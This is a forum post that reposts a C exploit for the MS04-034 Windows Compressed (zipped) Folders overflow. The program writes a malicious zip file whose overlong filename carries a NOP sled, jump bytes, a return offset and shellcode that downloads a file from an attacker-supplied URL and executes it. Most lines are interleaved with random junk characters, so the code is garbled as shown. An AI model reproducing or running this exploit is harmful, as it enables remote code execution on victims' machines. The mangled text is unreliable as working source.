- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)/ s8 b. x( g9 V6 y% ^. E4 O
*0 |3 e7 x3 Z2 k3 S
* Tested under Windows XP SP0 Spanish/English! @5 R0 G: |( I1 ]- X- W
*: W1 F0 ]4 a# K/ [3 Z# w
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
$ n* l, K. F. n( @2 `, F* Exploit Date: 21/10/2004
j" z% v) b/ W# }- y1 F O" \*# b# n2 I0 a4 s; G& K
* Tarako - Haxorcitos.com 2004
8 F2 e/ D0 F7 d1 x1 T* \; E8 y*3 c4 W, x' ]" X$ v X
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS") G4 E( m$ y H/ j0 B1 H+ A" l
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
3 O0 q1 }! u% Y4 @4 }* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
! A: O1 C! B$ ~( x' ^3 M! a- ?, B5 X*
5 U/ ?+ B$ g0 S b+ _0 N z3 f* Greetings t #haxorcitos, #dsr and #localhost @efnet6 U& t) x) y+ T3 e' H2 ?& w4 W
*
! O. @- m2 J! K u. {5 F*
" r. u" V, |- d- T7 Y+ G2 X' T* How to get new offsets:
( @2 f% d4 k+ W1 n* 1) attach debugger (i.e ollydbg) to explorer.exe0 S9 U' ^) l$ u4 V& i3 U
* 2) open the zip file as a folder and add or move some files to it
6 A! r1 I, z" @9 N1 y. t* 3) search in the explorer.exe memory the shellcode and get the addresses" Q3 Y2 q5 h( `4 W
*
5 o0 s! s8 f6 Y+ l- @8 D*/
0 [1 e6 s x* U: ^1 A( x0 L, F4 e) d# i+ f2 Y
#include <stdio.h>
# C# f+ u# i; n" e#include <windows.h>3 N. o2 v1 D0 u
( U+ l* N z5 t
#pragma pack(1)
H9 O/ Q$ l$ G5 x) E+ l8 |3 s" B9 Z" Q) q0 ` x5 X
#define DATOS "Tarako-Haxorcitos.com"
% | f& c7 p1 J5 H w, o! H/ y# T* [; ^+ a
typedef struct {; N: t) e+ v* o3 \
DWORD Signature; // PK.. 4 bytes (0x04034B50)0 z) Z, X4 u! `3 a* k7 c
WORD VersionNeeded;) s0 g4 z4 `% j6 Q5 a2 o, O
WORD GeneralPurposeFlag; // para el data descriptor y demas" L: L( Y9 B3 _0 ?& n
WORD CompressionMethod;
8 r; \0 z7 _+ S, F) f& OWORD ModFileTime;
! I Y: p8 m: d1 l% w' eWORD ModFileDate;: B: @5 ]$ R# {
DWORD Crc32;
; b9 V; k+ s" R8 Q; E( ODWORD CompressedSize;
; D/ `' {3 j7 ~& J9 k( bDWORD UncompressedSize;6 E0 h0 f \7 U
WORD FilenameLength;
! X, {7 L" ]+ yWORD ExtraFieldLength;) Q( w; Y$ N i% {5 Z1 C P
// filename (variable size)
, _" \4 @. w, Z3 s// extra field (variable size)
" {* V, u! g( E/ Q: V( G}TOPHEADER;$ T7 l# a/ ^6 K, H, ~/ W
% G; [! J$ z3 Y3 A
' E4 n- @$ A& E Z. P4 ^* z
typedef struct { 1 d% T# I( A: N/ G
DWORD Signature; // PK.. 4 bytes (0x02014B50)9 l2 p+ R9 W3 K- H% W. Z
WORD MadeVersion;
, S! L5 }- u6 B/ L% k/ zWORD VersionNeeded;+ K9 r; t% E5 f+ U& D
WORD GeneralPurposeFlag; // para el data descriptor y demas
0 l; ^( P% T. q, @* K% C% lWORD CompressionMethod;
9 c! c4 u3 V/ E5 |WORD ModFileTime;0 j9 `& j0 f/ f9 w- |& V
WORD ModFileDate;
2 C' F# d* u( j5 b3 f; {- ~6 h; BDWORD Crc32;
% n7 Z6 K( L x, `! X3 N% jDWORD CompressedSize;) I% a: b* M7 A7 v8 Y
DWORD UncompressedSize;; l$ H0 T1 ^2 A- b* b* C4 T4 g5 _
WORD FilenameLength;
) L) u. Y/ G$ M {( E- p, F/ NWORD ExtraFieldLength;+ g2 H1 ?, ^! a2 |/ D C) a9 m/ d
WORD FileCommentLength;
" Q. u7 o3 P6 I7 m( ZWORD DiskNumberStart;
. p! m( \: X8 @# DWORD InternalFileAttributes;2 J. i& j6 T( j5 N4 ]
DWORD ExternalFileAttributes;/ L$ |4 o1 T( F- R# m5 q/ |9 r5 A
DWORD RelativeOffsetOfLocalHeader;
) {: ~8 @7 O, O2 o0 e/ G// filename (variable size)
4 _% H' N4 c$ b( O6 E3 P5 y3 c// extra field (variable size)
2 }" K- \ y. m// file comment (variable size)5 k- P, n5 F- T) m% o$ k: y& @
}MIDDLEHEADER;
5 i6 b8 i+ r I( Z1 u% v- m3 g$ c0 S% F& M' p
typedef struct {, J/ T& C1 G$ G+ w4 s
DWORD Signature; // PK.. 4 bytes (0x06054B50)
: V; N ]0 Y! q$ sWORD NumOfThisDisk;$ N" ]8 g3 ^9 t6 S: r2 Z
WORD NumDisckStartCentralDirectory;) ~& S$ l* \3 D4 t, S' s
WORD NumEntriesCentralDirOnThisDisk;
/ ?" t. @1 Z, }WORD TotalNumEntriesCentralDir;
! L) ]& }2 {( B) ?. _3 JDWORD SizeCentralDirectory;
' [; a' y# t5 _8 {6 \, Z1 JDWORD OffsetCentraDirRespectStartDiskNum;
/ e; {- ^! d' |: x. T, C2 ^9 gWORD ZipCommentLength;
7 S9 H( Q+ k4 C// zipfile comment (variable size)' r0 o5 K4 ^+ v( n) J
}BOTTOMHEADER;; |, U7 c; A' x; q# ?
* a1 s; M: z; q& \" [
/*
3 r3 _7 @9 A) u8 D0 e3 A% S* k* download shellcode - RaiSe - raise@netsearch-ezine.com$ e- b$ d3 d, T( H- C
*/8 b' N8 G# j, Z* }
char shellcode1[] =
4 e. w) {: N* N/ t3 P$ F! J"\xEB\x5D\x5F\x8B\xF7\x80\x3F"
0 z. M6 @& u$ y* z"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
3 J# \7 v# W9 n"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"1 H y, `9 \ d. D" S
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
* j( B2 D6 R: T+ X2 Y- U$ Q, t4 T"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"5 Y9 K; Q; Q6 \9 ? l
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"
* h* A4 R2 h( k( A# _# O"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"5 ~* a9 Y% q" `, Z' K1 C. e
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"
! L# T I# [8 I/ V4 W"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"% C b" r6 V# R5 }; d
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
" C3 [( z) E- N; H7 ]) W"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"1 ~0 x0 o( t" v, p
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"
: w0 f% Q* m# Y3 k, f. Y6 a"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"! u9 |, M/ m+ i( s7 f
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
, H, @- s3 w& D( U5 I7 k"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
5 C- M( m: U2 y; I8 K3 J+ [9 K"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"& E8 E) l4 f, M# N, T0 ]' y9 S. l
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
]0 W( t2 F% H8 A6 p8 g' U7 Y"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
3 k/ O( ~% {8 g. |. a. i! {"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"
* d, ]# l- ]8 Y e; M1 \9 K" i"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"! ]- `9 E8 ?- c4 N0 \0 ^1 J# U
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"1 R+ J+ ~& e, y j
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC": l- K0 p2 C$ g
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"+ s9 u- i7 R- n) m0 |
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B") Q+ M( {$ a8 y5 P8 ]" Z
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
( h6 D6 \8 O& }"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
$ c& L) F) K8 c# }. R5 c1 C3 E"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
u$ E3 e- Y9 Q2 y"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"" w. a n3 t' J) j$ ~. D# R
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"# \& g3 {: T9 j7 Q4 P6 n# ]
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
' v/ x: J) v. T3 N# h/ L"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"1 C& |+ b, q# D" n7 x
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"4 |7 ?( X% Y) q* T0 M3 e
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"( P1 l3 V% ~# ?1 _+ o
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"1 ~, z& C) e Y/ L" \+ g
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
1 n5 E0 g* @' V. a+ D5 {3 h' kchar shellcode2[] ="\x08\x01";
# @- ~/ d& h, V" l7 x* C5 o. l' l0 Q9 {
char offset[]="\x41\x41\x41\x41";
8 ~/ W. b" W: O; f3 y; a3 vchar jmpbelow[]= "\xeb\x06\x90\x90";
4 M2 @3 |3 s7 h, m% e. ?8 ]' P
/ D9 c% ^: N/ _, j7 n. dint main(int argc,char *argv[]) {
% T7 b' `5 N' _. c' i4 U
* e# v! O; e+ c+ I) d6 TFILE *ZipFile;
+ D7 ?. Z4 u4 F. mTOPHEADER *Cabecera1;
2 i6 q% J% M% t3 {MIDDLEHEADER *Cabecera2;
" q: ?9 _8 o1 b) i( y7 U; @" KBOTTOMHEADER *Cabecera3;
6 ]5 d/ ]9 X! G! }- j( W8 d' i+ E* I# L! m0 B0 T. D. g& ?8 f' ~
DWORD c;
0 i4 s4 q6 T7 m1 oUINT i;! |( A$ C4 S' V. c. r) v" F- q: [
char *filename;$ E, ^* R, K& x% A. h7 ~+ m
char *url;9 r( s- ^1 a% t. }
% ?; N2 k+ M( w1 [5 o8 wprintf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC"); f, u$ c& M" G) T: T5 u9 q; w
printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");
9 f$ F$ w; J7 _) ?; C; U- U4 B7 C" e4 s; \) M% Q
if (argc!=2) {: ~. c7 K) x t; e! n; T2 Z/ L
printf("\n\n Usage: %s <URL> \n",argv[0]);. k/ z8 h. b) |7 u& n& p& d% j
exit(1);" C' V# v& A4 d
}
( m; P+ @8 N7 m* @: y, V1 q- `. L: s. o0 C2 d
url=argv[1];
/ i& k( S2 N8 A. |$ Y Xprintf("\n * URL: %s",url);
: R4 R0 D1 I2 q b9 C5 {: V# ? x, y: z0 t4 @; v
5 i2 J; c! c4 |$ B" Y
if (!(ZipFile=fopen("prueba.zip","w+b"))) {
* t5 N ^. R2 n9 b1 oprintf("\n [E] fopen()");+ }5 p1 l; X8 d5 E, |$ B
exit(1);
. }6 Z1 t- m1 s% `0 }, n}
8 p8 G6 e5 k; A( o: C* z3 D
9 _' A9 z0 ?% F: E4 j2 }9 s& }c=0x8000; // filename length
/ j- t3 y6 E/ o% b7 F9 h7 R! ~7 wfilename=(char*)malloc(sizeof(char)*c);
4 V) E9 {( B; d5 g' q0 r3 p* pmemset(filename,0,sizeof(filename));* O" E- I! R9 m2 |0 Y2 ^
# r+ g* }* c( c6 T$ Vfor( i=0x0;i<c;i++) filename=(BYTE)0x90;
/ H# l7 M" n/ l/ \8 v4 s& B; T0 Q! p1 j7 q3 q2 U* O" M, S r
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));" c( o \+ V$ U4 b8 u7 @3 q. r
memcpy(filename+0x1818,offset,strlen(offset));
: n7 G3 M4 ]9 a' ~. A
) N. x$ S! a5 u- Hmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);
0 t4 L8 B$ q6 [9 ]. R" @- V3 a4 lmemcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));* K! {) ^/ |6 ]+ h* b9 }
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);
[( s/ f7 S' H8 ]% X% m5 V( z
; k/ b U: P. y5 E3 A9 R9 ^memcpy(filename+(c-4),".txt",4);
$ J6 p$ I% v, j# B; e) x- G4 l7 E
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));5 Y; j1 M0 V/ j
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));' C: B, F1 x! L; T
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
* b& K k; I a$ _0 Jmemset(Cabecera1,0,sizeof(TOPHEADER));$ d. S7 C5 `; a# J4 M2 g6 \
memset(Cabecera2,0,sizeof(MIDDLEHEADER));
6 B% P, q! F8 V Gmemset(Cabecera3,0,sizeof(BOTTOMHEADER));
7 a& k6 h' N. h' d% p2 ^
. A6 U" G% O7 V8 o& m& G///////////////////////////////////////////////////////////////////7 m6 ^. a" q( n$ A6 N
// TOPHEADER
) _1 i7 z9 t4 j1 {7 f$ X1 [///////////////////////////////////////////////////////////////////' m+ n( h! R( f9 S
Cabecera1->Signature=0x04034B50; // DWORD" W6 p0 a: N L9 V( l
Cabecera1->VersionNeeded=0x000A; // WORD
5 s2 U9 Y, _6 R' r- cCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
1 d- T! ]$ o2 cCabecera1->CompressionMethod=0x0000; // WORD: J; T- L' n6 l: R# G
Cabecera1->ModFileTime=0x1362; // WORD; p' {1 U0 c1 n# I) V
Cabecera1->ModFileDate=0x3154; // WORD- E% s2 R, |1 @2 h6 l3 l
Cabecera1->Crc32=0x85B36639; // DWORD. G- m: d! s; A7 ~( d
Cabecera1->CompressedSize=0x00000015; // DWORD' e% x, A* o1 k3 e. }7 L; h
Cabecera1->UncompressedSize=0x00000015; // DWORD
5 {2 }: {' I" q' Z0 i- A! HCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
4 g9 X5 @( b% ACabecera1->ExtraFieldLength=0x0000; // WORD j2 P% O J6 j8 s! R2 y
///////////////////////////////////////////////////////////////////8 V1 U* H5 y% j. z* T! h) {3 h
. V) m" g! v8 g7 d- K6 E7 W; e, V///////////////////////////////////////////////////////////////////% h( W7 X0 m: Z0 b
// MIDDLEHEADER
+ l5 C v' ^6 A' L9 d( i, y///////////////////////////////////////////////////////////////////
& y0 f0 l7 @5 J0 B* t. U, S* ~4 @Cabecera2->Signature=0x02014B50; // DWORD8 w- V2 A7 J% \8 b4 g) z9 T
Cabecera2->MadeVersion=0x0014; // WORD
. @/ q5 y! D3 `+ l e+ [. BCabecera2->VersionNeeded=0x000A; // WORD
2 w& i; [0 f; q( [& W/ P" JCabecera2->GeneralPurposeFlag=0x0002; // WORD
3 ? ] P! W9 n4 ]' l* RCabecera2->CompressionMethod=0x0000; // WORD& O; w6 g+ ?* `2 a4 f/ Q& ^& {0 |
Cabecera2->ModFileTime=0x1362; // WORD
, J- L. U' o0 JCabecera2->ModFileDate=0x3154; // WORD. y1 M) v' G9 A: h9 u
Cabecera2->Crc32=0x85B36639; // DWORD; u) |& Z4 x, n+ `! \0 _8 k
Cabecera2->CompressedSize=0x00000015; // DWORD
0 k8 r5 x( u7 m3 P" ~Cabecera2->UncompressedSize=0x00000015; // DWORD( u F+ |: h/ S# y- H
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);0 s% |" I* Q# z, m( o
Cabecera2->ExtraFieldLength=0x0000; // WORD: q! y) }! ?& ~0 {2 L. C
Cabecera2->FileCommentLength=0x0000; // WORD
* h' e E3 o" y! }) f" d0 e8 yCabecera2->DiskNumberStart=0x0000; // WORD
# g) X ^$ X, |3 ICabecera2->InternalFileAttributes=0x0001; // WORD
% Y5 C: K- l# N0 K2 l6 p/ n" zCabecera2->ExternalFileAttributes=0x00000020; // DWORD
, w1 O7 _( h2 o: c4 DCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
1 {& D0 G, K' p) e6 p7 u///////////////////////////////////////////////////////////////////( Y, ]0 V" q2 H" `; j' X7 W( H7 |
6 ?4 g6 n$ j; r) y; d8 ?1 {& {
///////////////////////////////////////////////////////////////////
. E0 ]* P( P+ g" ? i7 Q// BOTTOMHEADER
! H: }3 F# H; F% l///////////////////////////////////////////////////////////////////$ c% W9 ?, j7 O# }( a C
Cabecera3->Signature=0x06054B50; // DWORD
1 K+ ]3 R% m( ] X9 B; pCabecera3->NumOfThisDisk=0x0000; // WORD
9 x3 o* \) j- U6 n6 `5 p HCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD* E+ @, F1 I, q- P
Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD/ o& r3 V8 c5 V& t( [* \! V1 m
Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
+ V* Q6 s6 w; cCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD( {, Y+ d! R. J. A d& x
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD - Q) ?# \) o1 G. o' R7 H
Cabecera3->ZipCommentLength=0x0000; // WORD
$ @1 s7 u7 X5 f. p8 A/ y///////////////////////////////////////////////////////////////////
2 I2 k" b- B: Q, z. T9 [* R# b0 h; \) g% y% Z, M/ M
fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
% e/ [3 [# E5 x2 K- }4 }
2 H1 c/ s9 e$ B+ _3 P" Nfwrite(filename, c, 1,ZipFile); 8 o' C: U! O) F: U# J% |' D, t4 R
fwrite(DATOS,strlen(DATOS),1,ZipFile);5 k) k' y- G( X
+ f5 q# P1 Z5 P1 ]& |8 Z
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
B+ Y" |* ?2 }) K3 Z! Ifwrite(filename, c, 1,ZipFile); 4 l* J# o# z# M, B& w# l
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);# k5 u$ ?, [4 Q7 B3 q: k
7 U& ~( G6 M# P V- ufclose(ZipFile);+ W# |0 U- \: N- q
printf("\n * prueba.zip created\n");3 Z# P4 k% _9 p' J% p1 ?
return 1;' c6 l( y5 S: i0 S# e; ~8 n0 l3 B
}//downloaded from milw0rm.com
3 R1 k. G3 a; l8 x2 G0 N8 w7 l |
zan
|